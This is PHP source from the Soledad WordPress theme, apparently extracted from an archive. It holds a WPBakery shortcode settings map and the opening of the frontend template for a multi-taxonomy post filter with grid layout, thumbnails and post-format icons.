			'heading'          => esc_html__( 'Post Order By', 'soledad' ),
			'param_name'       => 'post_orderby',
			'value'            => array_flip( array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Order', 'soledad' ),
			'param_name'       => 'post_order',
			'value'            => array_flip( array(
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Posts Per Page', 'soledad' ),
			'param_name'       => 'posts_per_page',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Style', 'soledad' ),
			'param_name'       => 'paging',
			'value'            => array(
				esc_html__( 'None', 'soledad' )                   => 'none',
				esc_html__( 'Load More Posts Button', 'soledad' ) => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )        => 'scroll',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Desktop:', 'soledad' ),
			'param_name'       => 'column',
			'std'              => '1',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Tablet', 'soledad' ),
			'param_name'       => 'tab_column',
			'std'              => '2',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Mobile', 'soledad' ),
			'param_name'       => 'mb_column',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Vertical Align', 'soledad' ),
			'param_name'       => 'vertical_position',
			'value'            => array(
				'Top'    => 'top',
				'Middle' => 'middle',
				'Bottom' => 'bottom',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Align', 'soledad' ),
			'param_name'       => 'paging_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Image
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_img_settings',
			'heading'          => esc_html__( 'Image Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Hide Featured Image?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_thumb',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Position', 'soledad' ),
			'param_name'       => 'imgpos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
				esc_html__( 'Top', 'soledad' )   => 'top',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Width', 'soledad' ),
			'param_name'       => 'imgwidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Align', 'soledad' ),
			'param_name'       => 'image_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Ratio', 'soledad' ),
			'param_name'       => 'img_ratio',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Lazyload Images?', 'soledad' ),
			'param_name'       => 'disable_lazy',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'mthumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'No Crop Image?', 'soledad' ),
			'param_name'       => 'nocrop',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'imgtop_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Post Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Showing Post Meta', 'soledad' ),
			'param_name'       => 'post_meta',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => array(
					[
						'value' => 'cat',
						'label' => esc_html__( 'Categories', 'soledad' ),
					],
					[
						'value' => 'title',
						'label' => esc_html__( 'Title', 'soledad' ),
					],
					[
						'value' => 'author',
						'label' => esc_html__( 'Author', 'soledad' ),
					],
					[
						'value' => 'date',
						'label' => esc_html__( 'Date', 'soledad' ),
					],
					[
						'value' => 'comment',
						'label' => esc_html__( 'Comments', 'soledad' ),
					],
					[
						'value' => 'views',
						'label' => esc_html__( 'Views', 'soledad' ),
					],
					[
						'value' => 'reading',
						'label' => esc_html__( 'Reading Time', 'soledad' ),
					],
				),
			),
			'description'      => 'Support showing: Categories, Title, Author, Date, Comments, Views, Reading Time',
			'value'            => 'cat,title,date',
			'std'              => 'cat,title,date',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Primary Category Only', 'soledad' ),
			'param_name'       => 'primary_cat',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Title Words Length', 'soledad' ),
			'param_name'       => 'title_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Position', 'soledad' ),
			'param_name'       => 'date_pos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'date_align',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Post Date Width', 'soledad' ),
			'param_name'       => 'datewidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'dformat',
			'value'            => array(
				'Default'  => '',
				'Time Ago' => 'timeago',
				'Normal'   => 'normal',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Format Icons', 'soledad' ),
			'param_name'       => 'show_formaticon',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'param_name'       => 'show_reviewpie',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show The Post Excerpt?', 'soledad' ),
			'param_name'       => 'show_excerpt',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
			'param_name'       => 'excerpt_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Excerpt Align', 'soledad' ),
			'param_name'       => 'excerpt_align',
			'value'            => array(
				'Left'    => 'left',
				'Center'  => 'center',
				'Right'   => 'right',
				'Justify' => 'justify',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Read More Button?', 'soledad' ),
			'param_name'       => 'show_readmore',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Read More Button Style', 'soledad' ),
			'param_name'       => 'rmstyle',
			'value'            => array(
				'Default'   => 'filled',
				'Bordered'  => 'bordered',
				'Underline' => 'underline',
				'Text Only' => 'text',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Read More Align', 'soledad' ),
			'param_name'       => 'rm_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Excerpt & Read More Position', 'soledad' ),
			'param_name'       => 'excerpt_pos',
			'value'            => array(
				'Below of Image' => 'below',
				'Side of Image'  => 'side',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Showing on Mobile', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories on Mobile?', 'soledad' ),
			'param_name'       => 'hide_cat_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'hide_meta_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'param_name'       => 'hide_excerpt_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'param_name'       => 'hide_rm_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Carousel Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_crs_heading',
			'heading'          => esc_html__( 'Carousel Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'       => 'autoplay',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Carousel Loop', 'soledad' ),
			'param_name'       => 'loop',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'auto_time',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'speed',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'       => 'shownav',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'       => 'showdots',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_heading_1',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Add Vertical Border Between Post Items', 'soledad' ),
			'param_name'       => 'ver_border',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// color
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Title Font Size', 'soledad' ),
			'param_name'       => 'title_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Date Font Size', 'soledad' ),
			'param_name'       => 'date_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'date_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Meta Font Size', 'soledad' ),
			'param_name'       => 'meta_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
			'param_name'       => 'meta_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'link_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'link_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Excerpt Font Size', 'soledad' ),
			'param_name'       => 'excerpt_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
			'param_name'       => 'excerpt_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     N\<t\  t\  E  inc/js_composer/shortcodes/multi_taxonomies_posts_filter/frontend.phpnu [        <?php
$settings             = vc_map_get_attributes( $this->getShortcode(), $atts );
$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
$column               = $settings['column'] ? $settings['column'] : '1';
$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
$post_meta            = $settings['post_meta'] ? explode( ',', $settings['post_meta'] ) : array();
$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
$paging               = $settings['paging'] ? $settings['paging'] : 'none';
$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
$archive_buider_check = isset( $settings['posts_post_type'] ) ? $settings['posts_post_type'] : '';
if ( 'top' == $imgpos ) {
	$excerpt_pos = 'side';
}
$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

$thumbnail = $thumb_size;
if ( penci_is_mobile() ) {
	$thumbnail = $mthumb_size;
}

$inner_wrapper_class = 'pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-grid';
$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
$inner_wrapper_class .= ' pcsl-col-' . $column;
$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
if ( 'yes' == $settings['nocrop'] ) {
	$inner_wrapper_class .= ' pcsl-nocrop';
}
if ( 'yes' == $settings['hide_cat_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-cat-mhide';
}
if ( 'yes' == $settings['hide_meta_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-meta-mhide';
}
if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-excerpt-mhide';
}
if ( 'yes' == $settings['hide_rm_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-rm-mhide';
}
if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
	$inner_wrapper_class .= ' pcsl-imgtopmobile';
}
if ( 'yes' == $settings['ver_border'] ) {
	$inner_wrapper_class .= ' pcsl-verbd';
}

$tax      = isset( $settings['tax'] ) ? $settings['tax'] : 'category';
$order    = isset( $settings['order'] ) ? $settings['order'] : 'term_id';
$orderby  = isset( $settings['orderby'] ) ? $settings['orderby'] : 'DESC';
$maxitems = isset( $settings['maxitems'] ) ? $settings['maxitems'] : 10;

$term_args = [
	'taxonomy' => $tax,
	'order'    => $order,
	'orderby'  => $orderby,
	'number'   => $maxitems,
];

if ( isset( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
	$term_args['exclude'] = explode(',',$settings['taxonomies_ex']);
}

if ( isset( $settings['taxonomies_in'] ) && $settings['taxonomies_in'] ) {
	$term_args['include'] = explode(',',$settings['taxonomies_in']);
}

// posts args

$post_args = [
	'orderby'        => isset( $settings['post_orderby'] ) ? $settings['post_orderby'] : '',
	'order'          => $settings['post_order'],
	'posts_per_page' => $settings['posts_per_page'],
];

if ( isset( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
	$post_args['tax_query'][] = [
		'operator' => 'NOT IN',
		'taxonomy' => $tax,
		'terms'    => explode(',',$settings['taxonomies_ex']),
	];
}

if ( isset( $settings['taxonomies_in'] ) && $settings['taxonomies_in'] ) {
	$post_args['tax_query'][] = [
		'operator' => 'IN',
		'taxonomy' => $tax,
		'terms'    => explode(',',$settings['taxonomies_in']),
	];
}

if ( $settings['taxonomies_ex'] || $settings['taxonomies_in'] ) {
	$post_args['tax_query']['relation'] = 'AND';
}

$query_smalllist = new WP_Query( $post_args );

$data_settings = [
	'hide_thumb'      => $settings['hide_thumb'],
	'show_reviewpie'  => $settings['show_reviewpie'],
	'show_formaticon' => $settings['show_formaticon'],
	'disable_lazy'    => $settings['disable_lazy'],
	'nocrop'          => $settings['nocrop'],
	'post_meta'       => $post_meta,
	'excerpt_length'  => $excerpt_length,
	'title_length'    => $title_length,
	'rmstyle'         => $rmstyle,
	'dformat'         => $dformat,
	'excerpt_pos'     => $excerpt_pos,
	'primary_cat'     => $primary_cat,
	'thumbnail'       => $thumbnail,
	'column'          => $column,
	'show_excerpt'    => $settings['show_excerpt'],
	'show_readmore'   => $settings['show_readmore'],
];

$terms_list   = get_terms( $term_args );
$count_html   = '';
$sticky_class = $settings['tax_sticky'] ? 'penci-mtp-sticky' : 'penci-mtp-non-sticky';
wp_enqueue_script( 'mtp-filters' );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'small_list' );
?>
    <div id="<?php echo $block_id; ?>" class="penci-wrapper-tax-posts-filters">
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
		<?php
		if ( ! $query_smalllist->have_posts() ) {
			echo '<p>' . penci_get_setting( 'penci_ajaxsearch_no_post' ) . '</p>';
		}

		?>

        <div class="penci-mtp-filters-wrapper <?php echo $sticky_class; ?> pctp-<?php echo $settings['tax_position']; ?>"
             data-settings='<?php echo json_encode( $data_settings ); ?>'
             data-tax="<?php echo $tax; ?>" data-request-id="<?php echo wp_create_nonce( 'penci-mtp-filters' ); ?>"
             data-paged="1" data-filter-terms=""
             data-query='<?php echo json_encode( $post_args ); ?>'>
            <div class="penci-mtp-filters-terms">
                <div class="theiaStickySidebar">
                    <a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_all' ); ?>"
                       class="penci-mtp-filters-mobile">
                        <span><?php echo penci_get_setting( 'penci_trans_all' ); ?></span>
                    </a>
                    <a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_close' ); ?>"
                       class="penci-mtp-filters-close">
                        <span><?php echo penci_get_setting( 'penci_trans_close' ); ?></span>
                    </a>
                    <ul class="penci-mtp-filters-main">
                        <li>
                            <a class="pcmtp-f-term" data-id="all" href="#">
								<?php
								echo penci_get_setting( 'penci_trans_all' );
								if ( $settings['count'] == 'yes' ) {
									echo '<span class="count">' . $query_smalllist->found_posts . '</span>';
								}
								?>
                            </a>
                        </li>
						<?php
						foreach ( $terms_list as $order => $term_data ) {
							if ( $settings['count'] == 'yes' ) {
								$count_html = '<span class="count">' . $term_data->count . '</span>';
							}
							echo '<li><a class="pcmtp-f-term" data-id="' . $term_data->term_id . '" href="#">' . $term_data->name . $count_html . '</a></li>';
						}
						?>
                    </ul>
                </div>
            </div>
            <div class="penci-mtp-filters-posts">
                <div class="theiaStickySidebar">

                    <div class="penci-smalllist-wrapper">
						<?php
						if ( $query_smalllist->have_posts() ) {
							?>
                            <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                                <div class="<?php echo $inner_wrapper_class; ?>">

									<?php
									$item_class = ' normal-item';
									while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
                                        <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
											echo ' pcsl-nothumb';
										}
										echo $item_class; ?>">
                                            <div class="pcsl-itemin">
                                                <div class="pcsl-iteminer">


													<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                        <div class="pcsl-thumb">
															<?php
															do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
															/* Display Review Piechart  */
															if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
																penci_display_piechart_review_html( get_the_ID(), 'small' );
															}
															?>
															<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
																<?php if ( has_post_format( 'video' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'link' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
																<?php endif; ?>
															<?php endif; ?>
															<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                   class="penci-image-holder penci-lazy"<?php if ( 'yes' == $settings['nocrop'] ) {
																	echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
																} ?>
                                                                   data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                                </a>
															<?php } else { ?>
                                                                <a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                   href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder"
                                                                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
																	   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
																   } ?>">
                                                                </a>
															<?php } ?>
                                                        </div>
													<?php } ?>
                                                    <div class="pcsl-content">
